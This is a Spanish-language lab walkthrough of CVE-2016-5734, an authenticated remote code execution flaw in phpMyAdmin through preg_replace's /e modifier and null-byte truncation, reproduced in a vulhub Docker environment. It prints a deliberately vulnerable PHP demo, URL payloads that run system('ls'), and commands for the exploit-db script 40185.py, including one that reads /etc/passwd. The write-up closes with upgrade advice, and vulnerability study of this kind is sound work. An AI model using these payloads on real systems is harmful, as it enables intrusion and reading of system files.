Tabla de contenido
Descripción de la vulnerabilidad
CVE-2016-5734 en el exploit-db es phpMyAdmin 4.6.2-Ejecución remota de código autenticado, lo que significa la ejecución remota de código de usuarios autenticados de phpMyAdmin. Según la descripción, todas las versiones 4.6.x de phpMyAdmin afectadas (hasta 4.6.3 )), versión 4.4.x (hasta 4.4.15.7) y versión 4.0.x (hasta 4.0.10.16). El autor de CVE usó la función preg_replace en la versión anterior a php 5.4.7 para manejar el error del byte nulo, de modo que el código inyectado se pueda ejecutar de forma remota.
Versión de impacto
- phpmyadmin 4.6.x versión (hasta 4.6.3)
- phpmyadmin 4.4.x versión (hasta 4.4.15.7)
- phpmyadmin 4.0.x versión (hasta 4.0.10.16)
- Versión de PHP: 4.3.0 ~ 5.4.6
Construcción de entornos de vulnerabilidad
Utilice vulhub para iniciar directamente el entorno con un entorno CVE-2018-12613 clave
Construcción del entorno de vulnerabilidad y inicio rápido de Docker
Después de descargar e instalar vulhub, ingrese al /vulhub/phpmyadmin/CVE-2016-5734
directorio y ejecute el siguiente comando para iniciar el entorno
sudo docker-compose up -d
Después de que la instalación sea exitosa, verifique el puerto y encuentre que el puerto está mapeado en nuestro puerto 8080.
Visite localhost: 8080 en la máquina virtual, y aparecerá la siguiente interfaz, lo que indica que la instalación fue exitosa.
Análisis de vulnerabilidad
-
Hablemos primero de la función preg_replace : La
función preg_replace realiza una búsqueda y reemplazo de expresiones regulares. -
Permítanme hablar sobre el papel de preg_replace \ e :
si se establece este modificador obsoleto, preg_replace () realizará la cadena de reemplazo como una evaluación de código php después de realizar un reemplazo de referencia inversa a la cadena de reemplazo (método de función eval) , y usará la ejecución resultado como la cadena realmente involucrada en el reemplazo. Las comillas simples, las comillas dobles, las barras invertidas () y los caracteres NULL se escaparán con barras invertidas al reemplazar las comillas invertidas.
Pruebe el uso \e
de la ejecución de código:
<?php
highlight_file(__FILE__);
$raw = $_GET['raw'];
$replace = $_GET['replace'];
$text = $_GET['text'];
$text = preg_replace('/'.$raw.'/e', $replace, $text);
?>
poco:
?raw=a&replace=system("ls")&text=larry
Si nuestra demostración se convierte en el siguiente código, ¿habrá lagunas?
<?php
highlight_file(__FILE__);
$raw = $_GET['raw'];
$replace = $_GET['replace'];
$text = $_GET['text'];
$text = preg_replace('/'.$raw.'/i', $replace, $text);
?>
De hecho, se puede omitir.Cuando la versión de php es menor que 5.4.7, inyecte un carácter nulo en el patrón para provocar el truncamiento y pase el modificador e, que se puede ejecutar como código php.
poco:
?raw=a/e%00&replace=system(%22ls%22)&text=larry
Para el análisis de vulnerabilidad del código phpmyadmin, puede ver el siguiente artículo:
https://xz.aliyun.com/t/7836#toc-5
Explotar
Condiciones de uso: es necesario conocer la contraseña de la cuenta de la base de datos
Descargue el script de exploit:
https://www.exploit-db.com/exploits/40185
Método de utilización del script:
-u cuenta
-p contraseña
-c ejecución de código (código php) uname -a se ejecuta de forma predeterminada
python 40185.py -u root -p root http://192.168.154.3:8080
python 40185.py -u root -p root -c "system('cat /etc/passwd')" http://192.168.154.3:8080
Fortalecimiento de la vulnerabilidad
Actualizar php o phpmyadmin
Link de referencia
https://larry.ngrep.me/2016/09/21/cve-2016-5734-analysis/
https://xz.aliyun.com/t/7836